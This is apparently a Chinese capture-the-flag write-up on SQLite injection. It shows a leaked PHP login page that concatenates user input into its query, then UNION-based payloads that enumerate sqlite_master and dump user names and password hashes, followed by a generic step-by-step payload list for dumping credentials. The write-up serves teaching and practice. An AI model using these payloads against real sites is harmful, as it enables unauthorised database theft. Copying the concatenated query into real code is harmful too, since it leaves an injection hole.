題目名稱:web題目類型:web
考點:sqlite數據庫注入
解題思路
1、目錄遍歷
目錄遍歷發現有admin.php login.php
兩個登錄框都進行注入點測試發現login.php有sql注入漏洞,
查看網頁源代碼發現?debug
嘗試訪問,發現登錄頁面php源碼
<?php
ob_start();
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html>
<head>
<style>
blockquote { background: #eeeeee; }
h1 { border-bottom: solid black 2px; }
h2 { border-bottom: solid black 1px; }
.comment { color: darkgreen; }
</style>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>Login</title>
</head>
<body>
<div align=right class=lastmod>
Last Modified: Fri Mar 31:33:7 UTC 1337
</div>
<h1>Login</h1>
Login Page, do not try to hax here plox!<br>
<form method="post">
ID:<br>
<input type="text" name="usr">
<br>
Password:<br>
<input type="text" name="pw">
<br><br>
<input type="submit" value="Submit">
</form>
<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
$user = $_POST['usr'];
$pass = $_POST['pw'];
$db = new SQLite3('../fancy.db');
$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
if($res){
$row = $res->fetchArray();
}
else{
echo "<br>Some Error occourred!";
}
if(isset($row['id'])){
setcookie('name',' '.$row['name'], time() + 60, '/');
header("Location: /");
die();
}
}
if(isset($_GET['debug']))
highlight_file('login.php');
?>
<!-- TODO: Remove ?debug-Parameter! -->
<hr noshade>
<address>Flux Horst (Flux dot Horst at rub dot flux)</address>
</body>
注入
usr=' union select 1,group_concat(tbl_name) from sqlite_master where type='table'--&pw= //查所有表
usr=' union select 1,group_concat(sql) from sqlite_master where tbl_name='Users'--&pw= //查表所有字段
//查所有內容
usr=' union select 1,group_concat(id) from Users--&pw=1
usr=' union select 1,group_concat(name) from Users--&pw=1
usr=' union select 1,group_concat(password) from Users--&pw=1
usr=' union select 1,group_concat(hint) from Users--&pw=
sqlite注入說明 小知識點: sqlite數據庫1,什么是sqlite數據庫:
SQLite的是一種嵌入式數據庫,它的數據庫就是一個文件。由於SQLite的本身是Ç寫的,而且體積很小,所以經常被集成到各種應用程序中,主要在手機的應用中使用。
SQLite是一個進程內的庫,實現了自給自足的、無服務器的、零配置的、事務性的 SQL 數據庫引擎。它是一個零配置的數據庫,這意味着與其他數據庫一樣,您不需要在系統中配置。
就像其他數據庫,SQLite 引擎不是一個獨立的進程,可以按應用程序需求進行靜態或動態連接。SQLite 直接訪問其存儲文件。
2,sqlite和 mysql的不同:
熟悉MySQL數據庫的人都知道,MySQL中有一個名為information_schema的系統庫,里面包含了所有MYSQL數據庫中庫名,表名,列名的信息,那么SQLITE數據庫有沒有呢?
答案當然是沒有的。對於SQLITE而言,並沒有庫的概念,而是直接對象就是表了,所以SQLITE沒有系統庫,但是它是存在系統表的,這個表名為sqlite_master簡單來說,SQLITE功能簡約,小型化,追求最大磁盤效率;MYSQL功能全面,綜合化,追求最大並發效率。如果只是單機上用的,數據量不是很大,需要方便移植或者需要頻繁讀/寫磁盤文件的話,就用SQLite比較合適;如果是要滿足多用戶同時訪問,或者是網站訪問量比較大是使用MYSQL比較合適。
3,sqlite 注入的示例payload:
按照正常的sql注入步驟列出每一步的payload
第一步: 跟mysql一樣 先試 sql語句的閉合方式
?id=' //報錯
?id=' --+ //不報錯
第二步: 測字段數?id=' order by 3 --+ //不報錯
?id=' order by 4 --+ //報錯
第三步:可以查看一下sqlite的版本信息(沒什么用),或者 直接查看數據庫中的所有的表名?id=' union select 1,2,sqlite_version() --+
?id=' union select 1,2,group_concat(tbl_name) from sqlite_master where type='table' --+
第四步:通過查詢創建表的sql語句,來得到表的結構?id=' union select 1,2,sql from sqlite_master where type='table' and tbl_name='users' --+
第五步:脫庫?id=' union select 1,group_concat(username),group_concat(password) from users limit 0,1 --+